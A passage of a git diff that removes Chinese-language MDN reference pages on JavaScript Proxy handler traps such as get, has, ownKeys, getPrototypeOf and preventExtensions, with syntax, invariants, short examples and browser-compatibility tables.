{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Operators/delete", "delete")}} 操作符
  • -
  • {{jsxref("Reflect.deleteProperty()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/get/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/get/index.html deleted file mode 100644 index 14a350436a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/get/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: handler.get() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/get -tags: - - ECMAScript6 - - JavaScript - - Method - - Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get ---- -
{{JSRef}}
- -

handler.get() 方法用于拦截对象的读取属性操作。

- -

语法

- -
var p = new Proxy(target, {
-  get: function(target, property, receiver) {
-  }
-});
-
- -

参数

- -

以下是传递给get方法的参数,this上下文绑定在handler对象上.

- -
-
target
-
目标对象。
-
property
-
被获取的属性名。
-
receiver
-
Proxy或者继承Proxy的对象
-
- -

返回值

- -

get方法可以返回任何值。

- -

描述

- -

handler.get 方法用于拦截对象的读取属性操作。

- -

拦截

- -

该方法会拦截目标对象的以下操作:

- -
    -
  • 访问属性: proxy[foo]和 proxy.bar
  • -
  • 访问原型链上的属性: Object.create(proxy)[foo]
  • -
  • {{jsxref("Reflect.get()")}}
  • -
- -

约束

- -

如果违背了以下的约束,proxy会抛出 {{jsxref("TypeError")}}:

- -
    -
  • 如果要访问的目标属性是不可写以及不可配置的,则返回的值必须与该目标属性的值相同。
  • -
  • 如果要访问的目标属性没有配置访问方法,即get方法是undefined的,则返回值必须为undefined。
  • -
- -

示例

- -

以下代码演示如何拦截属性值的读取操作。

- -
var p = new Proxy({}, {
-  get: function(target, prop, receiver) {
-    console.log("called: " + prop);
-    return 10;
-  }
-});
-
-console.log(p.a); // "called: a"
-                  // 10
-
- -

以下代码演示违反约束的情况。

- -
var obj = {};
-Object.defineProperty(obj, "a", {
-  configurable: false,
-  enumerable: false,
-  value: 10,
-  writable: false
-});
-
-var p = new Proxy(obj, {
-  get: function(target, prop) {
-    return 20;
-  }
-});
-
-p.a; //会抛出TypeError
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Reflect.get()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html deleted file mode 100644 index 470b2c6ad9..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: handler.getOwnPropertyDescriptor() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor ---- -
{{JSRef}}
- -

handler.getOwnPropertyDescriptor() 方法是 {{jsxref("Object.getOwnPropertyDescriptor()")}}  的钩子。

- -

语法

- -
var p = new Proxy(target, {
-  getOwnPropertyDescriptor: function(target, prop) {
-  }
-});
-
- -

参数

- -

下列参数会被传入 getOwnPropertyDescriptor 方法中。这是绑定到handler上。 

- -
-
target
-
目标对象。
-
prop
-
返回属性名称的描述。
-
- -

返回值

- -

getOwnPropertyDescriptor 方法必须返回一个 object 或 undefined

- -

描述

- -

handler.getOwnPropertyDescriptor() 方法是 {{jsxref("Object.getOwnPropertyDescriptor()")}} 的陷阱。

- -

拦截

- -

这个陷阱可以拦截这些操作:

- -
    -
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
  • -
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
  • -
- -

不变量

- -

如果下列不变量被违反,代理将抛出一个 {{jsxref("TypeError")}}:

- -
    -
  • getOwnPropertyDescriptor 必须返回一个 object 或 undefined
  • -
  • 如果属性作为目标对象的不可配置的属性存在,则该属性无法报告为不存在。
  • -
  • 如果属性作为目标对象的属性存在,并且目标对象不可扩展,则该属性无法报告为不存在。
  • -
  • 如果属性不存在作为目标对象的属性,并且目标对象不可扩展,则不能将其报告为存在。
  • -
  • 属性不能被报告为不可配置,如果它不作为目标对象的自身属性存在,或者作为目标对象的可配置的属性存在。
  • -
  • Object.getOwnPropertyDescriptor(target)的结果可以使用 Object.defineProperty 应用于目标对象,也不会抛出异常。
  • -
- -

示例

- -

以下是 {{jsxref("Object.getOwnPropertyDescriptor()")}} 的代码陷阱:

- -
var p = new Proxy({ a: 20}, {
-  getOwnPropertyDescriptor: function(target, prop) {
-    console.log('called: ' + prop);
-    return { configurable: true, enumerable: true, value: 10 };
-  }
-});
-
-console.log(Object.getOwnPropertyDescriptor(p, 'a').value); // "called: a"
-                                                            // 10
-
- -

以下代码则违反了不变量。

- -
var obj = { a: 10 };
-Object.preventExtensions(obj);
-var p = new Proxy(obj, {
-  getOwnPropertyDescriptor: function(target, prop) {
-    return undefined;
-  }
-});
-
-Object.getOwnPropertyDescriptor(p, 'a'); // TypeError is thrown
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

相关链接

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
  • -
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getprototypeof/index.html deleted file mode 100644 index 215d2d9646..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getprototypeof/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: handler.getPrototypeOf() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf -tags: - - ECMAScript 2015 - - JavaScript - - Method - - Proxy - - 方法 -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf ---- -
{{JSRef("Global_Objects", "Proxy")}}
- -

handler.getPrototypeOf() 是一个代理(Proxy)方法,当读取代理对象的原型时,该方法就会被调用。

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-getprototypeof.html", "taller")}}
- - - -

语法

- -
const p = new Proxy(obj, {
-  getPrototypeOf(target) {
-  ...
-  }
-});
-
- -

参数

- -

getPrototypeOf 方法被调用时,this 指向的是它所属的处理器对象。

- -
-
target
-
被代理的目标对象。
-
- -

返回值

- -

getPrototypeOf 方法的返回值必须是一个对象或者 null

- -

描述

- -

在 JavaScript 中,下面这五种操作(方法/属性/运算符)可以触发 JS 引擎读取一个对象的原型,也就是可以触发 getPrototypeOf() 代理方法的运行:

- -
    -
  • {{jsxref("Object.getPrototypeOf()")}}
  • -
  • {{jsxref("Reflect.getPrototypeOf()")}}
  • -
  • {{jsxref("Object/proto", "__proto__")}}
  • -
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
  • -
  • {{jsxref("Operators/instanceof", "instanceof")}}
  • -
- -

如果遇到了下面两种情况,JS 引擎会抛出 {{jsxref("TypeError")}} 异常:

- -
    -
  • getPrototypeOf() 方法返回的不是对象也不是 null。
  • -
  • 目标对象是不可扩展的,且 getPrototypeOf() 方法返回的原型不是目标对象本身的原型。
  • -
- -

示例

- -

基本用法

- -
var obj = {};
-var proto = {};
-var handler = {
-    getPrototypeOf(target) {
-        console.log(target === obj);   // true
-        console.log(this === handler); // true
-        return proto;
-    }
-};
-
-var p = new Proxy(obj, handler);
-console.log(Object.getPrototypeOf(p) === proto);    // true
-
- -

5 种触发 getPrototypeOf 代理方法的方式

- -
var obj = {};
-var p = new Proxy(obj, {
-    getPrototypeOf(target) {
-        return Array.prototype;
-    }
-});
-console.log(
-    Object.getPrototypeOf(p) === Array.prototype,  // true
-    Reflect.getPrototypeOf(p) === Array.prototype, // true
-    p.__proto__ === Array.prototype,               // true
-    Array.prototype.isPrototypeOf(p),              // true
-    p instanceof Array                             // true
-);
-
- -

两种情况下的异常

- -
var obj = {};
-var p = new Proxy(obj, {
-    getPrototypeOf(target) {
-        return "foo";
-    }
-});
-Object.getPrototypeOf(p); // TypeError: "foo" is not an object or null
-
-var obj = Object.preventExtensions({});
-var p = new Proxy(obj, {
-    getPrototypeOf(target) {
-        return {};
-    }
-});
-Object.getPrototypeOf(p); // TypeError: expected same prototype value
-
- -

规范

- - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Proxy.handler.getPrototypeOf")}}

- -

参见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.getPrototypeOf()")}}
  • -
  • {{jsxref("Reflect.getPrototypeOf()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/has/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/has/index.html deleted file mode 100644 index fead0846ff..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/has/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: handler.has() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/has -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has ---- -
{{JSRef}}
- -

 handler.has() 方法是针对 {{jsxref("Operators/in", "in")}} 操作符的代理方法。

- - - - - -

{{EmbedInteractiveExample("pages/js/proxyhandler-has.html", "taller")}}

- - - - - -

语法

- -
var p = new Proxy(target, {
-  has: function(target, prop) {
-  }
-});
-
- -

参数

- -

下面是传递给 has 方法的参数. this is bound to the handler.

- -
-
target
-
目标对象.
-
prop
-
需要检查是否存在的属性.
-
- -

返回值

- -

has 方法返回一个 boolean 属性的值.

- -

描述

- -

handler.has 方法可以看作是针对 {{jsxref("Operators/in", "in")}} 操作的钩子.

- -

拦截

- -

这个钩子可以拦截下面这些操作:

- -
    -
  • 属性查询: foo in proxy
  • -
  • 继承属性查询: foo in Object.create(proxy)
  • -
  • with 检查: with(proxy) { (foo); }
  • -
  • {{jsxref("Reflect.has()")}}
  • -
- -

约束

- -

如果违反了下面这些规则,  proxy 将会抛出 {{jsxref("TypeError")}}:

- -
    -
  • 如果目标对象的某一属性本身不可被配置,则该属性不能够被代理隐藏.
  • -
  • 如果目标对象为不可扩展对象,则该对象的属性不能够被代理隐藏
  • -
- -

示例

- -

下面的代码拦截了 {{jsxref("Operators/in", "in")}} 操作符.

- -
var p = new Proxy({}, {
-  has: function(target, prop) {
-    console.log('called: ' + prop);
-    return true;
-  }
-});
-
-console.log('a' in p); // "called: a"
-                       // true
-
- -

下面的代码违反了约束.

- -
var obj = { a: 10 };
-Object.preventExtensions(obj);
-var p = new Proxy(obj, {
-  has: function(target, prop) {
-    return false;
-  }
-});
-
-'a' in p; // TypeError is thrown
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ESDraft')}}
- -

浏览器支持

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

其他

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Operators/in", "in")}} operator
  • -
  • {{jsxref("Reflect.has()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/index.html deleted file mode 100644 index 26d1ad3517..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Proxy handler -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler -tags: - - ECMAScript 2015 - - JavaScript - - Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy -translation_of_original: Web/JavaScript/Reference/Global_Objects/Proxy/handler ---- -
{{JSRef}}
- -
Proxy 的 handler 对象是一个占位符对象,它包含了用于 {{jsxref("Proxy")}} 的陷阱(Trap)函数。
- -
此处可以理解为由Proxy所暴露出的钩子函数,handler作为挂载钩子函数的对象存在,不同的操作会触发不同的钩子函数
- -
,handler提供了覆写钩子函数的方法。
- -

方法

- -

所有的陷阱是可选的。如果某个陷阱没有定义,那么就会保留默认行为。

- -
-
{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}
-
在读取代理对象的原型时触发该操作,比如在执行 {{jsxref("Object.getPrototypeOf")}}(proxy) 时。
-
{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}
-
在设置代理对象的原型时触发该操作,比如在执行 {{jsxref("Object.setPrototypeOf")}}(proxy, null) 时。
-
{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}
-
在判断一个代理对象是否是可扩展时触发该操作,比如在执行 {{jsxref("Object.isExtensible")}}(proxy) 时。
-
{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}
-
在让一个代理对象不可扩展时触发该操作,比如在执行 {{jsxref("Object.preventExtensions")}}(proxy) 时。
-
{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}
-
在获取代理对象某个属性的属性描述时触发该操作,比如在执行 {{jsxref("Object.getOwnPropertyDescriptor")}}(proxy, "foo") 时。
-
{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}
-
在定义代理对象某个属性时的属性描述时触发该操作,比如在执行 {{jsxref("Object.defineProperty")}}(proxy, "foo", {}) 时。
-
{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}
-
在判断代理对象是否拥有某个属性时触发该操作,比如在执行 "foo" {{jsxref("Operators/in", "in")}} proxy 时。
-
{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}
-
在读取代理对象的某个属性时触发该操作,比如在执行 proxy.foo 时。
-
{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}
-
在给代理对象的某个属性赋值时触发该操作,比如在执行 proxy.foo = 1 时。
-
{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}
-
在删除代理对象的某个属性时触发该操作,即使用 {{jsxref("Operators/delete", "delete")}} 运算符,比如在执行 delete proxy.foo 时。
-
{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}
-
{{jsxref("Object.getOwnPropertyNames")}} 和{{jsxref("Object.getOwnPropertySymbols")}} 的陷阱。
-
{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}
-
函数调用操作的陷阱。
-
{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}
-
{{jsxref("Operators/new", "new")}} 运算符的陷阱。
-
- -

一些不标准的陷阱已经废弃并且被移除了

- -

规范

- - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Proxy.handler")}}

- -

相关链接

- -
    -
  • {{JSxRef("Proxy")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/isextensible/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/isextensible/index.html deleted file mode 100644 index 7be418197f..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/isextensible/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: handler.isExtensible() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible -tags: - - ECMAScript 2015 - - JavaScript - - Method - - Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible ---- -
{{JSRef}}
-handler.isExtensible() 方法用于拦截对对象的Object.isExtensible()。
- -
-

{{EmbedInteractiveExample("pages/js/proxyhandler-isextensible.html", "taller")}}

-
- -

语法

- -
var p = new Proxy(target, {
-  isExtensible: function(target) {
-  }
-});
-
- -

参数

- -

下列参数将会被传递给 isExtensible方法。 this 绑定在 handler 对象上。

- -
-
target
-
目标对象。
-
- -

返回值

- -

isExtensible方法必须返回一个 Boolean值或可转换成Boolean的值。

- -

描述

- -

handler.isExtensible()用于拦截对对象的Object.isExtensible()。

- -

拦截

- -

该方法会拦截目标对象的以下操作:

- -
    -
  • {{jsxref("Object.isExtensible()")}}
  • -
  • {{jsxref("Reflect.isExtensible()")}}
  • -
- -

约束

- -

如果违背了以下的约束,proxy会抛出 TypeError:

- -
    -
  • Object.isExtensible(proxy) 必须同Object.isExtensible(target)返回相同值。也就是必须返回true或者为true的值,返回false和为false的值都会报错。
  • -
- -

示例

- -

以下代码演示{{jsxref("Object.isExtensible()")}}.

- -
var p = new Proxy({}, {
-  isExtensible: function(target) {
-    console.log('called');
-    return true;//也可以return 1;等表示为true的值
-  }
-});
-
-console.log(Object.isExtensible(p)); // "called"
-                                     // true
-
- -

以下代码演示违反约束的情况。

- -
var p = new Proxy({}, {
-  isExtensible: function(target) {
-    return false;//return 0;return NaN等都会报错
-  }
-});
-
-Object.isExtensible(p); // TypeError is thrown
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.Proxy.handler.isExtensible")}}

-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.isExtensible()")}}
  • -
  • {{jsxref("Reflect.isExtensible()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/ownkeys/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/ownkeys/index.html deleted file mode 100644 index 956b908375..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/ownkeys/index.html +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: handler.ownKeys() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys ---- -
{{JSRef}}
- -

handler.ownKeys() 方法用于拦截 {{jsxref("Reflect.ownKeys()")}}.

- - - -

{{EmbedInteractiveExample("pages/js/proxyhandler-ownkeys.html", "taller")}}

- - - -

语法

- -
var p = new Proxy(target, {
-  ownKeys: function(target) {
-  }
-});
-
- -

参数

- -

下面的参数被传递给ownKeys。this被绑定在handler上。

- -
-
target
-
目标对象.
-
- -

返回值

- -

ownKeys 方法必须返回一个可枚举对象.

- -

描述

- -

handler.ownKeys() 方法用于拦截 {{jsxref("Reflect.ownKeys()")}}.

- -

拦截

- -

该拦截器可以拦截以下操作::

- -
    -
  • {{jsxref("Object.getOwnPropertyNames()")}}
  • -
  • {{jsxref("Object.getOwnPropertySymbols()")}}
  • -
  • {{jsxref("Object.keys()")}}
  • -
  • {{jsxref("Reflect.ownKeys()")}}
  • -
- -

约束

- -

如果违反了下面的约束,proxy将抛出错误 {{jsxref("TypeError")}}:

- -
    -
  • ownKeys 的结果必须是一个数组.
  • -
  • 数组的元素类型要么是一个 {{jsxref("String")}} ,要么是一个 {{jsxref("Symbol")}}.
  • -
  • 结果列表必须包含目标对象的所有不可配置(non-configurable )、自有(own)属性的key.
  • -
  • 如果目标对象不可扩展,那么结果列表必须包含目标对象的所有自有(own)属性的key,不能有其它值.
  • -
- -

示例

- -

下面的代码拦截 {{jsxref("Object.getOwnPropertyNames()")}}.

- -
var p = new Proxy({}, {
-  ownKeys: function(target) {
-    console.log('called');
-    return ['a', 'b', 'c'];
-  }
-});
-
-console.log(Object.getOwnPropertyNames(p)); // "called"
-                                            // [ 'a', 'b', 'c' ]
- -

下面的代码违反了约定

- -
var obj = {};
-Object.defineProperty(obj, 'a', {
-  configurable: false,
-  enumerable: true,
-  value: 10 }
-);
-
-var p = new Proxy(obj, {
-  ownKeys: function(target) {
-    return [123, 12.5, true, false, undefined, null, {}, []];
-  }
-});
-
-console.log(Object.getOwnPropertyNames(p));
-
-// TypeError: proxy [[OwnPropertyKeys]] 必须返回一个数组
-// 数组元素类型只能是String或Symbol
-
- -

标准

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

兼容性注意事项

- -

Firefox火狐

- -
    -
  • 在Gecko 42 {{geckoRelease(42)}}版本中, ownKey 的实施已经更新了,为了反映最终的ES5标准 (see {{bug(1049662)}}): - -
      -
    • 现在需要检查结果是不是数组以及数组元素类型是不是string或symbol.
    • -
    • 枚举重复的自有的属性名称不再失败.
    • -
    -
  • -
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.getOwnPropertyNames()")}}
  • -
  • {{jsxref("Reflect.ownKeys()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/preventextensions/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/preventextensions/index.html deleted file mode 100644 index dd6823c9dd..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/preventextensions/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: handler.preventExtensions() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions -tags: - - Proxy 代理 拦截 -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions ---- -
{{JSRef}}
- -

handler.preventExtensions() 方法用于设置对{{jsxref("Object.preventExtensions()")}}的拦截

- -

{{EmbedInteractiveExample("pages/js/proxyhandler-preventextensions.html", "taller")}}

- -

语法

- -
var p = new Proxy(target, {
-  preventExtensions: function(target) {
-  }
-});
-
- -

参数

- -

以下参数传递给 preventExtensions 方法. 它会绑定到这个handler.

- -
-
target
-
所要拦截的目标对象.
-
- -

返回值

- -

preventExtensions 方法返回一个布尔值.

- -

描述

- -

handler.preventExtensions() 拦截 {{jsxref("Object.preventExtensions()")}}返回一个布尔值.

- -

拦截

- -

这个trap可以拦截这些操作:

- -
    -
  • {{jsxref("Object.preventExtensions()")}}
  • -
  • {{jsxref("Reflect.preventExtensions()")}}
  • -
- -

约束

- -

如果违反了下列规则, proxy则会抛出一个 {{jsxref("TypeError")}}:

- -
    -
  • 如果目标对象是可扩展的,那么只能返回 false
  • -
- -

示例

- -

以下代码演示了如何拦截{{jsxref("Object.preventExtensions()")}}。

- -
var p = new Proxy({}, {
-  preventExtensions: function(target) {
-    console.log('called');
-    Object.preventExtensions(target);
-    return true;
-  }
-});
-
-console.log(Object.preventExtensions(p)); // "called"
-                                          // false
-
- -

以下代码违反了约束.

- -
var p = new Proxy({}, {
-  preventExtensions: function(target) {
-    return true;
-  }
-});
-
-Object.preventExtensions(p); // 抛出类型错误
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.Proxy.handler.preventExtensions")}}

-
- -

参考

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.preventExtensions()")}}
  • -
  • {{jsxref("Reflect.preventExtensions()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/set/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/set/index.html deleted file mode 100644 index c66481647a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/set/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: handler.set() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set -tags: - - ECMAScript6 - - JavaScript - - Method - - Proxy - - Proxy拦截 -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set ---- -
{{JSRef}}
- -

handler.set() 方法是设置属性值操作的捕获器。

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-set.html", "taller")}}
- - - -

语法

- -
const p = new Proxy(target, {
-  set: function(target, property, value, receiver) {
-  }
-});
-
- -

参数

- -

以下是传递给 set() 方法的参数。this 绑定在 handler 对象上。

- -
-
target
-
目标对象。
-
property
-
将被设置的属性名或 {{jsxref("Symbol")}}。
-
value
-
新属性值。
-
receiver
-
最初被调用的对象。通常是 proxy 本身,但 handler 的 set 方法也有可能在原型链上,或以其他方式被间接地调用(因此不一定是 proxy 本身)。 -
-

